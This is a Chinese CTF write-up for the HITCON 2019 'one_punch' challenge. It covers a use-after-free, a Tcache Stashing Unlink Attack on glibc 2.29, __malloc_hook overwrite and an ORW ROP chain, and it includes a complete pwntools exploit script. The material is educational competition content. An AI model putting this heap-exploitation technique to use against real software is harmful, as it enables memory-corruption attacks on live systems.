hitcon_ctf_2019_one_punch wp

hitcon_ctf_2019_one_punch

遇到一个比较新的题,涉及到知识盲区,在此记录一下,libc是2.29

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

64位程序,依旧保护是全开,具体程序的执行流程在此不累赘,直接看存在漏洞的函数,delete函数存在uaf

void sub_1568()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]

  puts_("idx: ");
  v0 = my_read();
  if ( v0 > 2 )
    error((__int64)"invalid");
  free(*((void **)&unk_4040 + 2 * v0));
}

这个题比较新的地方是add函数使用是calloc去申请堆,而不是malloc,但是在其他位置还是存在用malloc申请堆的函数,但是是被限制,需要个数大于6才能调用

__int64 sub_15BB()
{
  void *buf; // [rsp+8h] [rbp-8h]

  if ( *(_BYTE *)(qword_4030 + 32) <= 6 )
    error((__int64)"gg");
  buf = malloc(0x217uLL);
  if ( !buf )
    error((__int64)"err");
  if ( read(0, buf, 0x217uLL) <= 0 )
    error((__int64)"io");
  puts("Serious Punch!!!");
  puts(&unk_2128);
  return puts(buf);
}

绕过这个if判断,可以向其中写进一个 main_arena地址 ,结合题目的calloc,假设我们能构造好特定的结构,比如tcache bin中是6个,small bin满足2个,当执行calloc,small bin中的chunk会被插入到tcache bin中,直到满足7个,此时向其写进一个 main_arena地址 ,具体还是得看libc-2.29的源码,其中涉及到很细节的东西, ha1vk的分析很不错(https://blog.csdn.net/seaaseesa/article/details/105870247)
下面结合本地调试

首先malloc的部分申请的堆大小是0x217,并且我们需要泄露libc等等,构建两个堆

add(0,'a'*0x218)
add(1,'b'*0x80)

泄露heap_addr和libc比较简单就不讲述了,主要就是利用uaf,我们是要构建两个small bin出来,这里我们就需要借助malloc_consolidata(大于small bin触发)。当泄露释放chunk 0的时候,此时unsorted bin大小为0x220,申请一下0x180,切割unsorted bin,剩余0x90放入small bin

add(1,'a'*0x180)
add(1,'a'*0x400)

add(2,'a'*0x100)#隔开

此时可以看到smallbins

0x90: 0x555555be63e0 —▸ 0x7f754e343d20 (main_arena+224) ◂— 0x555555be63e0

再次构造一个small bin,因为unsorted bin现在没有东西,构造一个chunk进入unsorted bin,然后切割,malloc_consolidata触发,让其切割后的部分进入small bin,这样达成两个small bin

for i in range(7):
    delete(1)
    edit(1,'c'*0x10)

delete(1)#unsorted bin size 0x410
add(2,0x370*'d')
add(2,0x400*'d')

smallbins
0x90: 0x555556878880 —▸ 0x5555568783e0 —▸ 0x7fef97642d20 (main_arena+224) ◂— 0x555556878880

修改倒数第二个chunk的bk

fd = heap_addr+0x180
bk = heap_addr-0x260+0x20
payload = 'e'*0x370+p64(0)+p64(0x91)+p64(fd)+p64(bk)
edit(1,payload)

此时,目标地址因为被写进small bin的地址。看一下数据

0x5555568e7870: 0x6565656565656565      0x6565656565656565
0x5555568e7880: 0x0000000000000000      0x0000000000000091
0x5555568e7890: 0x00005555568e73e0      0x00005555568e7020
0x5555568e78a0: 0x6161616161616161      0x6161616161616161
0x5555568e78b0: 0x6161616161616161      0x6161616161616161
0x5555568e78c0: 0x6161616161616161      0x6161616161616161
0x5555568e78d0: 0x6161616161616161      0x6161616161616161
0x5555568e78e0: 0x6161616161616161      0x6161616161616161
0x5555568e78f0: 0x6161616161616161      0x6161616161616161
0x5555568e7900: 0x6161616161616161      0x0061616161616161

这里的bk我们写进了0x00005555568e7020,看一下tcache bin

0x90 [  6]: 0x555557413480

在Tcache Stashing Unlink Attack时,会从small bin里取chunk到tcache bin,
直到tcache bin填满,因此我们申请add一个,再看tcache bin

add(1,'a'*0x80)

tcache bin如下

0x90 [  7]: 0x5555572f5890 —▸ 0x5555572f5480

可见原本small bin的chunk被加入tcache bin,接下来将malloc_hook连入链表

edit(0,p64(malloc_hook))

这样0x220大小的chunk,就形成链

0x220 [ 32]: 0x55555672a260 —▸ 0x7f7a5447ac30 (__malloc_hook) ◂— 0x0
malloc('/flag\x00')
0x220 [ 31]: 0x7fc2fbcabc30 (__malloc_hook) ◂— 0x0

下次申请的时候,在malloc_hook的地方写进shellcode即可,但是这个题开启了沙箱,只能通过orw来读取flag,构造一下

add_rsp = libc_base+0x8CFD6
pop_rdi = libc_base+0x26542
pop_rsi = libc_base+0x26f9e
pop_rdx = libc_base+0x12bda6
pop_rax = libc_base+0x47cf8
syscall = libc_base+0x10D022
rop =  p64(pop_rdi)+p64(heap_addr)
rop += p64(pop_rsi)+p64(0)
rop += p64(pop_rax)+p64(2)
rop += p64(syscall)
#read 3
read = libc_base+libc.sym['read']
rop += p64(pop_rdi)+p64(3)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(read)
#write 1
write = libc_base+libc.sym['write']
rop += p64(pop_rdi)+p64(1)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(write)

完整的exp如下

from pwn import *

context(os = "linux", arch = "amd64")#,log_level= "debug")
context.terminal = ['tmux', 'splitw', '-h']

r = process(['/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/ld-2.29.so','./hitcon_ctf_2019_one_punch'],env={'LD_PRELOAD':'/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so'})
libc = ELF('/root/LibcSearcher/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
#r = remote('node4.buuoj.cn',29390)
#libc = ELF('./buu64_libc-2.29.so')

def menu(choice):
    r.recvuntil('> ')
    r.sendline(str(choice))

def add(idx,content):
    menu(1)
    r.recvuntil('idx: ')
    r.sendline(str(idx))
    r.recvuntil('hero name: ')
    r.send(content)

def edit(idx,content):
    menu(2)
    r.recvuntil('idx: ')
    r.sendline(str(idx))
    r.recvuntil('hero name: ')
    r.send(content)

def show(idx):
    menu(3)
    r.recvuntil('idx: ')
    r.sendline(str(idx))

def delete(idx):
    menu(4)
    r.recvuntil('idx: ')
    r.sendline(str(idx))

def punch(content):
    menu(50056)
    r.send(content)

add(0,'a'*0x218)
add(1,'b'*0x80)

for i in range(6):
    delete(1)
    edit(1,'b'*0x10)

for i in range(6):
    delete(0)
    edit(0,'a'*0x10)

delete(0)
show(0)
r.recvuntil('hero name: ')
heap_addr = u64(r.recv(6).ljust(8,'\x00'))
print('heap_addr',hex(heap_addr))

edit(0,'a'*0x10)
delete(0)
show(0)
r.recvuntil('hero name: ')
libc_base = u64(r.recv(6).ljust(8,'\x00'))-0x1e4ca0
print(hex(libc_base))

add(1,'a'*0x180)
add(1,'a'*0x400)
add(2,'a'*0x100)

for i in range(7):
    delete(1)
    edit(1,'c'*0x10)

delete(1)
add(2,0x370*'d')
add(2,0x400*'d')

fd = heap_addr+0x180
bk = heap_addr-0x260+0x20
payload = 'e'*0x370+p64(0)+p64(0x91)+p64(fd)+p64(bk)
edit(1,payload)
add(1,'f'*0x80)

malloc_hook = libc_base+libc.sym['__malloc_hook']
print('malloc_hook',hex(malloc_hook))
edit(0,p64(malloc_hook))
punch('/flag\x00')

add_rsp = libc_base+0x8CFD6
pop_rdi = libc_base+0x26542
pop_rsi = libc_base+0x26f9e
pop_rdx = libc_base+0x12bda6
pop_rax = libc_base+0x47cf8
syscall = libc_base+0x10D022
rop =  p64(pop_rdi)+p64(heap_addr)
rop += p64(pop_rsi)+p64(0)
rop += p64(pop_rax)+p64(2)
rop += p64(syscall)
#read 3
read = libc_base+libc.sym['read']
rop += p64(pop_rdi)+p64(3)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(read)
#write 1
write = libc_base+libc.sym['write']
rop += p64(pop_rdi)+p64(1)
rop += p64(pop_rsi)+p64(heap_addr)
rop += p64(pop_rdx)+p64(0x30)
rop += p64(write)

punch(p64(add_rsp))
add(1,rop)
gdb.attach(r)
r.interactive()

参考:https://www.cnblogs.com/countfatcode/p/13052724.html

https://blog.csdn.net/seaaseesa/article/details/105870247

https://blog.csdn.net/qq_41453285/article/details/97627411

上一篇:2019年9月全国计算机等级考试报名入口陆续开启,但是报名系统网页老是登录失败、无法挤入系统,要怎么办?


下一篇:2019包含九的数